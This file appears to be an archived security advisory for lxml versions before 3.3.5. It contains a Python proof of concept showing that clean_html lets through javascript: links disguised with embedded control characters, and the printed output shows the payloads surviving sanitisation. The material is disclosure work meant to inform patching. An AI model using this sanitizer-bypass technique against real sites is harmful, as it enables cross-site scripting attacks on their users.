47 lines
1.2 KiB
Text
Executable file
47 lines
1.2 KiB
Text
Executable file
source: http://www.securityfocus.com/bid/67159/info
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lxml is prone to a security-bypass vulnerability.
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An attacker can leverage this issue to bypass security restrictions and perform unauthorized actions. This may aid in further attacks.
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Versions prior to lxml 3.3.5 are vulnerable.
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from lxml.html.clean import clean_html
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html = '''\
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<html>
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<body>
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<a href="javascript:alert(0)">
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aaa</a>
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<a href="javas\x01cript:alert(1)">bbb</a>
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<a href="javas\x02cript:alert(1)">bbb</a>
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<a href="javas\x03cript:alert(1)">bbb</a>
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<a href="javas\x04cript:alert(1)">bbb</a>
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<a href="javas\x05cript:alert(1)">bbb</a>
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<a href="javas\x06cript:alert(1)">bbb</a>
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<a href="javas\x07cript:alert(1)">bbb</a>
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<a href="javas\x08cript:alert(1)">bbb</a>
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<a href="javas\x09cript:alert(1)">bbb</a>
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</body>
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</html>'''
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print clean_html(html)
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Output:
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<div>
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<body>
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<a href="">aaa</a>
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<a href="javascript:alert(1)">
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bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="javascript:alert(1)">bbb</a>
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<a href="">bbb</a>
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</body>
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</div>
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